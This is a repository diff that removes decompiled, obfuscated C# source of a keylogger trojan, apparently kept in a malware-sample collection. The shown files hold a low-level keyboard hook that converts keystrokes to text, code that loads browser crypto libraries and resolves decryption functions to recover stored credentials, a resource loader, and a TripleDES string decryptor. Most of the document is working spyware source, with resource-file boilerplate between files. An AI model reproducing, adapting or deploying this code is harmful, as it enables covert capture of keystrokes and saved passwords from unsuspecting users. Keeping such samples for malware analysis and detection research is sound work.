\u0003.\u0002.\u0001 structure1 = (\u0003.\u0002.\u0001) Marshal.PtrToStructure(num, typeof (\u0003.\u0002.\u0001));
if (\u0003.\u0002.\u0002(ref structure1, ref obj2, 0) == 0 && obj2.\u0003 != 0)
{
byte[] numArray = new byte[checked (obj2.\u0003 - 1 + 1)];
num = new IntPtr(obj2.\u0002);
Marshal.Copy(num, numArray, 0, obj2.\u0003);
TextBox textBox2 = \u0002.\u0003.\u0002().\u0002().\u0004();
textBox2.Text = textBox2.Text + \u0003.\u0002.\u0001(720) + Encoding.ASCII.GetString(numArray) + \u0003.\u0002.\u0001(686);
}
StringBuilder stringBuilder2 = new StringBuilder(row[\u0003.\u0002.\u0001(729)].ToString());
num = new IntPtr(\u0003.\u0002.\u0002(IntPtr.Zero, IntPtr.Zero, stringBuilder2, stringBuilder2.Length));
\u0003.\u0002.\u0001 structure2 = (\u0003.\u0002.\u0001) Marshal.PtrToStructure(num, typeof (\u0003.\u0002.\u0001));
if (\u0003.\u0002.\u0002(ref structure2, ref obj3, 0) == 0 && obj3.\u0003 != 0)
{
byte[] numArray = new byte[checked (obj3.\u0003 - 1 + 1)];
num = new IntPtr(obj3.\u0002);
Marshal.Copy(num, numArray, 0, obj3.\u0003);
TextBox textBox3 = \u0002.\u0003.\u0002().\u0002().\u0004();
textBox3.Text = textBox3.Text + \u0003.\u0002.\u0001(754) + Encoding.ASCII.GetString(numArray) + \u0003.\u0002.\u0001(763);
}
\u0002.\u0003.\u0002().\u0002().\u0004().Text += \u0003.\u0002.\u0001(776);
Console.WriteLine();
}
}
finally
{
IEnumerator enumerator;
if (enumerator is IDisposable)
(enumerator as IDisposable).Dispose();
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
}
[DllImport("kernel32", EntryPoint = "LoadLibraryExA", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern IntPtr \u0002([MarshalAs(UnmanagedType.VBByRefStr)] ref string dllFilePath);
[DllImport("kernel32", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern IntPtr \u0002([In] IntPtr obj0, [In] string obj1);
public static long \u0002([In] string obj0)
{
string str = Environment.GetEnvironmentVariable(\u0003.\u0002.\u0001(387)) + \u0003.\u0002.\u0001(404);
string dllFilePath1 = str + \u0003.\u0002.\u0001(821);
\u0003.\u0002.\u0002(ref dllFilePath1);
string dllFilePath2 = str + \u0003.\u0002.\u0001(838);
\u0003.\u0002.\u0002(ref dllFilePath2);
string dllFilePath3 = str + \u0003.\u0002.\u0001(851);
\u0003.\u0002.\u0002(ref dllFilePath3);
string dllFilePath4 = str + \u0003.\u0002.\u0001(864);
\u0003.\u0002.\u0002(ref dllFilePath4);
string dllFilePath5 = str + \u0003.\u0002.\u0001(877);
\u0003.\u0002.\u0002(ref dllFilePath5);
string dllFilePath6 = str + \u0003.\u0002.\u0001(894);
\u0003.\u0002.\u0002(ref dllFilePath6);
string dllFilePath7 = str + \u0003.\u0002.\u0001(911);
\u0003.\u0002.\u0002(ref dllFilePath7);
string dllFilePath8 = str + \u0003.\u0002.\u0001(928);
\u0003.\u0002.\u0002(ref dllFilePath8);
string dllFilePath9 = str + \u0003.\u0002.\u0001(945);
\u0003.\u0002.\u0001 = \u0003.\u0002.\u0002(ref dllFilePath9);
return ((\u0003.\u0002.\u0002) Marshal.GetDelegateForFunctionPointer(\u0003.\u0002.\u0002(\u0003.\u0002.\u0001, \u0003.\u0002.\u0001(958)), typeof (\u0003.\u0002.\u0002)))(obj0);
}
public static long \u0002() => ((\u0003.\u0002.\u0003) Marshal.GetDelegateForFunctionPointer(\u0003.\u0002.\u0002(\u0003.\u0002.\u0001, \u0003.\u0002.\u0001(971)), typeof (\u0003.\u0002.\u0003)))();
public static long \u0002([In] long obj0, [In] bool obj1, [In] long obj2) => ((\u0003.\u0002.\u0004) Marshal.GetDelegateForFunctionPointer(\u0003.\u0002.\u0002(\u0003.\u0002.\u0001, \u0003.\u0002.\u0001(1004)), typeof (\u0003.\u0002.\u0004)))(obj0, obj1, obj2);
public static int \u0002([In] IntPtr obj0, [In] IntPtr obj1, [In] StringBuilder obj2, [In] int obj3) => ((\u0003.\u0002.\u0005) Marshal.GetDelegateForFunctionPointer(\u0003.\u0002.\u0002(\u0003.\u0002.\u0001, \u0003.\u0002.\u0001(1029)), typeof (\u0003.\u0002.\u0005)))(obj0, obj1, obj2, obj3);
public static int \u0002([In] ref \u0003.\u0002.\u0001 obj0, [In] ref \u0003.\u0002.\u0001 obj1, [In] int obj2) => ((\u0003.\u0002.\u0006) Marshal.GetDelegateForFunctionPointer(\u0003.\u0002.\u0002(\u0003.\u0002.\u0001, \u0003.\u0002.\u0001(1062)), typeof (\u0003.\u0002.\u0006)))(ref obj0, ref obj1, obj2);
static \u0002() => \u0001.\u0002.\u0002();
public struct \u0001
{
public int \u0001;
public int \u0002;
public int \u0003;
}
public delegate long \u0002(string configdir);
public delegate long \u0003();
public delegate long \u0004(long slot, bool loadCerts, long wincx);
public delegate int \u0005(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen);
public delegate int \u0006(ref \u0003.\u0002.\u0001 data, ref \u0003.\u0002.\u0001 result, int cx);
}
}

1091
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0003/_0003.cs
View File

File diff suppressed because it is too large Load Diff

120
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0003/_0003.resx
View File

@ -1,120 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>

242
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0004/_0001.cs
View File

@ -1,242 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe
using \u0002;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace \u0004
{
internal sealed class \u0001
{
public class \u0001
{
[NonSerialized]
internal static \u0001.\u0001 \u0001;
private static \u0004.\u0001.\u0001.\u0002 \u0001;
private static \u0004.\u0001.\u0001.\u0003 \u0001;
private static int \u0001;
private static \u0004.\u0001.\u0001.\u0001 \u0001;
[DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int \u0002([In] int obj0, [In] \u0004.\u0001.\u0001.\u0001 obj1, [In] int obj2, [In] int obj3);
[DllImport("user32", EntryPoint = "CallNextHookEx", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int \u0002([In] int obj0, [In] int obj1, [In] int obj2, [In] \u0004.\u0001.\u0001.\u0004 obj3);
[DllImport("user32", EntryPoint = "UnhookWindowsHookEx", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int \u0002([In] int obj0);
[SpecialName]
[MethodImpl(MethodImplOptions.Synchronized)]
public static void \u0002([In] \u0004.\u0001.\u0001.\u0002 obj0) => \u0004.\u0001.\u0001.\u0001 += obj0;
[SpecialName]
[MethodImpl(MethodImplOptions.Synchronized)]
public static void \u0003([In] \u0004.\u0001.\u0001.\u0002 obj0) => \u0004.\u0001.\u0001.\u0001 -= obj0;
public void \u0002()
{
\u0004.\u0001.\u0001.\u0001 = new \u0004.\u0001.\u0001.\u0001(this.\u0002);
\u0004.\u0001.\u0001.\u0001 = \u0004.\u0001.\u0001.\u0002(13, \u0004.\u0001.\u0001.\u0001, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0);
}
private int \u0002([In] int obj0, [In] int obj1, [In] ref \u0004.\u0001.\u0001.\u0004 obj2)
{
if (obj0 == 0)
{
switch (obj1)
{
case 256:
case 260:
\u0004.\u0001.\u0001.\u0002 obj3 = \u0004.\u0001.\u0001.\u0001;
if (obj3 != null)
{
obj3(this.\u0002((Keys) obj2.\u0001));
break;
}
break;
case 257:
case 261:
\u0004.\u0001.\u0001.\u0003 obj4 = \u0004.\u0001.\u0001.\u0001;
if (obj4 != null)
{
obj4(this.\u0002((Keys) obj2.\u0001));
break;
}
break;
}
}
return \u0004.\u0001.\u0001.\u0002(\u0004.\u0001.\u0001.\u0001, obj0, obj1, obj2);
}
public void \u0003()
{
\u0004.\u0001.\u0001.\u0002(\u0004.\u0001.\u0001.\u0001);
// ISSUE: explicit finalizer call
this.Finalize();
}
private string \u0002([In] Keys obj0)
{
Keys keys = obj0;
if (keys == Keys.Back)
{
if (Operators.CompareString(\u0003.\u0002().\u0002().\u0005().Text, \u0004.\u0001.\u0001.\u0001(2478), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2487);
try
{
\u0003.\u0002().\u0002().\u0002().Text = \u0003.\u0002().\u0002().\u0002().Text.Substring(0, checked (\u0003.\u0002().\u0002().\u0002().Text.Length - 1));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
}
else
{
if (keys >= Keys.A && keys <= Keys.Z)
return Control.IsKeyLocked(Keys.Capital) | (Control.ModifierKeys & Keys.Shift) != Keys.None ? obj0.ToString() : obj0.ToString().ToLower();
if (keys >= Keys.D0 && keys <= Keys.D9)
{
if ((Control.ModifierKeys & Keys.Shift) == Keys.None)
return obj0.ToString().Replace(\u0004.\u0001.\u0001.\u0001(2591), (string) null);
string Left = obj0.ToString();
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2496), false) == 0)
return \u0004.\u0001.\u0001.\u0001(407);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2501), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2506);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2511), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2516);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2521), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2526);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2531), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2536);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2541), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2546);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2551), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2556);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2561), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2566);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2571), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2576);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2581), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2586);
}
else
{
if (keys >= Keys.NumPad0 && keys <= Keys.NumPad9)
return obj0.ToString().Replace(\u0004.\u0001.\u0001.\u0001(2596), (string) null);
if (keys >= Keys.Multiply && keys <= Keys.Divide)
{
string Left = obj0.ToString();
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2605), false) == 0)
return \u0004.\u0001.\u0001.\u0001(1958);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2614), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2566);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2627), false) == 0)
return \u0004.\u0001.\u0001.\u0001(1963);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2640), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2645);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2650), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2663);
}
else
{
if (keys == Keys.Space)
return \u0004.\u0001.\u0001.\u0001(1968);
if (keys >= Keys.OemSemicolon && keys <= Keys.OemQuotes)
{
if ((Control.ModifierKeys & Keys.Shift) != Keys.None)
{
string Left = obj0.ToString();
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2668), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2681);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2686), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2645);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2699), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2720);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2725), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2734);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2739), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2748);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2753), false) == 0)
return \u0004.\u0001.\u0001.\u0001(1978);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2762), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2771);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2776), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2789);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2794), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2807);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2812), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2829);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2834), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2847);
}
else
{
string Left = obj0.ToString();
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2668), false) == 0)
return \u0004.\u0001.\u0001.\u0001(1963);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2686), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2852);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2699), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2857);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2725), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2862);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2739), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2867);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2753), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2872);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2762), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2877);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2776), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2882);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2794), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2663);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2812), false) == 0)
return \u0004.\u0001.\u0001.\u0001(1958);
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2834), false) == 0)
return \u0004.\u0001.\u0001.\u0001(2887);
}
}
else
{
if (keys == Keys.Return)
return \u0004.\u0001.\u0001.\u0001(788);
if (!(Operators.CompareString(obj0.ToString(), \u0004.\u0001.\u0001.\u0001(2892), false) == 0 | Operators.CompareString(obj0.ToString(), \u0004.\u0001.\u0001.\u0001(2905), false) == 0))
return Operators.CompareString(obj0.ToString(), \u0004.\u0001.\u0001.\u0001(2918), false) == 0 | Operators.CompareString(obj0.ToString(), \u0004.\u0001.\u0001.\u0001(2927), false) == 0 ? \u0004.\u0001.\u0001.\u0001(2936) : \u0004.\u0001.\u0001.\u0001(2857) + obj0.ToString() + \u0004.\u0001.\u0001.\u0001(2862);
}
}
}
}
return (string) null;
}
static \u0001() => \u0001.\u0002.\u0002();
private delegate int \u0001(int nCode, int wParam, ref \u0004.\u0001.\u0001.\u0004 lParam);
public delegate void \u0002(string Key);
public delegate void \u0003(string Key);
private struct \u0004
{
public int \u0001;
public int \u0002;
public int \u0003;
public int \u0004;
public int \u0005;
}
}
}
}

20
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0004/_0002.cs
View File

@ -1,20 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe
using d1a3l0ss_asdf.My;
using System.Diagnostics;
using System.Runtime.CompilerServices;
namespace \u0004
{
[CompilerGenerated]
[DebuggerNonUserCode]
internal sealed class \u0002
{
[SpecialName]
internal static MySettings \u0002() => MySettings.Default;
}
}

44
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0004/_0003.cs
View File

@ -1,44 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe
using \u0001;
using \u0004;
using System;
using System.Runtime.InteropServices;
namespace \u0004
{
internal sealed class \u0003
{
[NonSerialized]
internal static \u0001.\u0001 \u0001;
[DllImport("kernel32.dll", EntryPoint = "FindResource", SetLastError = true)]
private static extern IntPtr \u0002([In] IntPtr obj0, [In] string obj1, [In] string obj2);
[DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern IntPtr \u0002([MarshalAs(UnmanagedType.VBByRefStr)] ref string moduleName);
[DllImport("kernel32", EntryPoint = "SizeofResource", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int \u0002([In] IntPtr obj0, [In] IntPtr obj1);
[DllImport("kernel32", EntryPoint = "LoadResource", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern IntPtr \u0002([In] IntPtr obj0, [In] IntPtr obj1);
public static byte[] \u0002([In] string obj0)
{
IntPtr num1 = \u0003.\u0002(ref obj0);
IntPtr num2 = \u0003.\u0002(num1, \u0003.\u0001(2958), \u0003.\u0001(2963));
IntPtr source = \u0003.\u0002(num1, num2);
int length = \u0003.\u0002(num1, num2);
byte[] destination = new byte[checked (length - 1 + 1)];
Marshal.Copy(source, destination, 0, length);
return destination;
}
static \u0003() => \u0002.\u0002();
}
}

63
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0005/_0001.cs
View File

@ -1,63 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
namespace \u0005
{
internal sealed class \u0001
{
internal class \u0001
{
private TripleDESCryptoServiceProvider \u0001;
private UTF8Encoding \u0001;
private byte[] \u0001;
private byte[] \u0002;
public \u0001([In] byte[] obj0, [In] byte[] obj1)
{
this.\u0001 = new TripleDESCryptoServiceProvider();
this.\u0001 = new UTF8Encoding();
this.\u0001 = obj0;
this.\u0002 = obj1;
}
public string \u0002([In] string obj0)
{
string str;
try
{
str = this.\u0001.GetString(this.\u0002(Convert.FromBase64String(obj0), this.\u0001.CreateDecryptor(this.\u0001, this.\u0002)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
return str;
}
private byte[] \u0002([In] byte[] obj0, [In] ICryptoTransform obj1)
{
MemoryStream memoryStream = new MemoryStream();
CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, obj1, CryptoStreamMode.Write);
cryptoStream.Write(obj0, 0, obj0.Length);
cryptoStream.FlushFinalBlock();
memoryStream.Position = 0L;
byte[] buffer = new byte[checked ((int) (memoryStream.Length - 1L) + 1)];
memoryStream.Read(buffer, 0, buffer.Length);
memoryStream.Close();
cryptoStream.Close();
return buffer;
}
}
}
}

70
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/d1a3l0ss_asdf/My/MySettings.cs
View File

@ -1,70 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: d1a3l0ss_asdf.My.MySettings
// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe
using \u0002;
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Configuration;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Threading;
namespace d1a3l0ss_asdf.My
{
[CompilerGenerated]
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal sealed class MySettings : ApplicationSettingsBase
{
private static MySettings \u0001 = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
private static bool \u0001;
private static object \u0001 = RuntimeHelpers.GetObjectValue(new object());
[EditorBrowsable(EditorBrowsableState.Advanced)]
[DebuggerNonUserCode]
private static void \u0002(object sender, EventArgs e)
{
if (!\u0003.\u0002().SaveMySettingsOnExit)
return;
// ISSUE: reference to a compiler-generated method
\u0004.\u0002.\u0002().Save();
}
public static MySettings Default
{
get
{
if (!MySettings.\u0001)
{
object Expression = MySettings.\u0001;
ObjectFlowControl.CheckForSyncLockOnValueType(Expression);
Monitor.Enter(Expression);
try
{
if (!MySettings.\u0001)
{
\u0003.\u0002().Shutdown += (ShutdownEventHandler) ((sender, e) =>
{
if (!\u0003.\u0002().SaveMySettingsOnExit)
return;
\u0004.\u0002.\u0002().Save();
});
MySettings.\u0001 = true;
}
}
finally
{
Monitor.Exit(Expression);
}
}
return MySettings.\u0001;
}
}
}
}

120
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/d1a3l0ss_asdf/Resources.resx
View File

@ -1,120 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
